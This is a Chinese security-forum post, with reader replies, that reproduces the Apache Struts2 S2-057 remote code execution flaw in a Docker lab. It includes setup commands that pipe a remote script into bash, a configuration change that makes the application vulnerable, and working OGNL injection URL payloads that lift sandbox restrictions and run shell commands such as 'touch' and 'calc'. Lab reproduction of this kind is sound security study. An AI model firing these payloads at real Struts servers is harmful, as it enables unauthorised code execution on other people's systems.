用户
搜索

[思路/技术] st2-057 复现

  • TA的每日心情
    慵懒
    2018-8-23 05:51
  • 签到天数: 93 天

    连续签到: 1 天

    [LV.6]常住居民II

    i春秋作家

    从未进过后台和拿过shell的菜鸟。求大佬带

    Rank: 7Rank: 7Rank: 7

    34

    主题

    89

    帖子

    1579

    魔法币
    收听
    2
    粉丝
    3
    注册时间
    2017-1-24

    i春秋签约作者春秋文阁

    我是salf i春秋作家 从未进过后台和拿过shell i春秋签约作者 春秋文阁 楼主
    发表于 2018-8-23 06:05:12 1711094
    本帖最后由 我是salf 于 2018-8-26 11:08 编辑

    漏洞信息

    定义XML配置时如果namespace值未设置且上层动作配置(Action Configuration)中未设置或用通配符namespace时可能会导致远程代码执行。

    url标签未设置value和action值且上层动作未设置或用通配符namespace时可能会导致远程代码执行。

    解决方案

    升级至版本2.3.35或2.5.17。这两个版本仅仅只是更新了安全补丁,不存在兼容性问题。

    漏洞详情

    由于漏洞作者已经发布 就不再复制粘贴 请看链接
    原作者 英语 除漏洞详情还介绍了他是如何发现这些漏洞的
    漏洞细节中文翻译  

    复现

    搭建struts2

    使用docker-composevulhub搭建
    如果没有docker
    curl https://get.docker.com/ | bash
    pip install docker-compose
    克隆vulhub并启动

    git clone https://github.com/vulhub/vulhub
    cd vulhub/struts2/s2-048
    docker-compose up -d
    docker ps                                                                                                   

    可以看到

    CONTAINER ID        IMAGE                                 COMMAND                  CREATED             STATUS              PORTS                    NAMES                      
    b6eefdb89aad        vulhub/struts2:2.5.12-rest-showcase   "catalina.sh run"        2 minutes ago       Up 2 minutes        0.0.0.0:8080->8080/tcp   s2-052_struts2_1    

    搭建漏洞环境

    进入docker

    docker exec -i -t <你上面显示的CONTAINER ID > /bin/bash

    运行

    apt-get update -y &&
    mkdir /usr/local/tomcat/webapps/test && 
    wget https://fossies.org/linux/www/legacy/struts-2.5.16-all.zip &&
    apt-get install unzip -y &&unzip struts-2.5.16-all.zip &&
    cp struts-2.5.16/apps/struts2-showcase.war  /usr/local/tomcat/webapps/

    修改/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/classes/struts-actionchaining.xml/usr/local/tomcat/webapps/struts2-showcase/WEB-INF/src/java/struts-actionchaining.xml文件如下

    <struts>
        <package name="actionchaining" extends="struts-default">
            <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
               <result type="redirectAction">
                 <param name = "actionName">register2</param>
               </result>
            </action>
        </package>
    </struts>

    重启服务

    cd /usr/local/tomcat/bin/
    ./shutdown.sh 
    # 这个时候你应该退回本机shell了
    docker-compose up -d

    复现

    访问127.0.0.1:8080/struts2-showcase/${(111+111)}/actionChain1.action
    会显示到了127.0.0.1:8080/struts2-showcase/222/actionChain1.action

    将${(111+111)}替换成expexp  (由jas502n大佬提供)

    http://127.0.0.1:8080/[color=rgb(36, 41, 46)][backcolor=transparent][font=SFMono-Regular, Consolas, "][size=13.6px]struts2-showcase/actionchaining/$%7B(%23ct=%23request['struts.valueStack'].context).(%23cr=%23ct['com.opensymphony.xwork2.ActionContext.container']).(%23ou=%23cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(%23ou.setExcludedClasses('java.lang.Shutdown')).(%23ou.setExcludedPackageNames('sun.reflect.')).(%23dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(%23ct.setMemberAccess(%23dm)).(%23cmd=@java.lang.Runtime@getRuntime().exec('touch /tmp/jas502n'))%7D/actionChain1.action[/size][/font][/backcolor][/color]

    拆分

    ${
    (
    #_memberAccess["allowStaticMethodAccess"]=true,
    #a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),
    #b=new java.io.InputStreamReader(#a),
    #c=new java.io.BufferedReader(#b),
    #d=new char[51020],
    #c.read(#d),
    #jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),
    #jas502n.println(#d),
    #jas502n.close())
    }

    感谢

    https://www.anquanke.com/post/id/157397
    https://github.com/jas502n/St2-057
    https://lgtm.com/blog/apache_struts_CVE-2018-11776




    本帖被以下淘专辑推荐:

    • · sc|主题: 48, 订阅: 1
    个人博客 https://blue-bird1.github.io/
    发表于 2018-8-24 15:38:23
    使用Struts2老版本的PoC无法正常弹出计算器,会在获取#context时得到null值,导致['com.opensymphony.xwork2.ActionContext.container']求值时的source为空,抛出异常
    通过跟踪OGNL底层代码发现,在比较新的版本的OGNL包中,OgnlContext移除了CONTEXT_CONTEXT_KEY、CLASS_RESOLVER_CONTEXT_KEY和MEMBER_ACCESS_CONTEXT_KEY,使OGNL表达式无法继续使用#context、#_classResolver和#_memberAccess来获得相应对象
    使用道具 举报 回复
    我是salf i春秋作家 从未进过后台和拿过shell i春秋签约作者 春秋文阁
    推荐
    发表于 2018-8-23 15:14:14
    abay 发表于 2018-8-23 14:23
    运行步骤里面的cp前面应该加一句unzip struts-2.5.26-all.zip &&

    感谢 已改
    个人博客 https://blue-bird1.github.io/
    使用道具 举报 回复
    本帖最后由 haibara 于 2018-8-24 11:29 编辑

    复现不成功。。。
    docker 在linux 下运行然后 弹calc,多诡异的事。
    完全按照源码在vps 上测试 用公网地址
    使用道具 举报 回复
    发表于 2018-8-23 15:41:48

    但是我弹不出计算器哦 计算可以执行 换成exp就不行了,,,,
    使用道具 举报 回复
    发表于 2018-8-23 14:23:42
    运行步骤里面的cp前面应该加一句unzip struts-2.5.26-all.zip &&
    使用道具 举报 回复
    为什么安装完docker后部署的时候docker-compose up -d提示出错啊
    使用道具 举报 回复
    复现了一半,看到URL跳转了,但是没有弹出来计算器
    使用道具 举报 回复
    提示: 作者被禁止或删除 内容自动屏蔽
    使用道具 举报 回复
    可以可以66666666666
    使用道具 举报 回复
    学习一下~
    使用道具 举报 回复
    发表于 2018-8-23 10:17:26
    一般都不会去乱改配置文件吧?
    使用道具 举报 回复
    发表于 2018-8-23 10:22:54
    66666666666666666
    使用道具 举报 回复
    发表于 2018-8-23 10:33:17
    https://github.com/jas502n/St2-057
    http://www.anonymou5.com
    使用道具 举报 回复
    发表于 2018-8-23 11:17:15
    666666666666
    使用道具 举报 回复
    成果弹计算器的怎么没截图啊
    使用道具 举报 回复
    发表于 2018-8-23 18:03:35
    你这个题目是st057,怎么用048的环境!!??
    使用道具 举报 回复
    12下一页
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册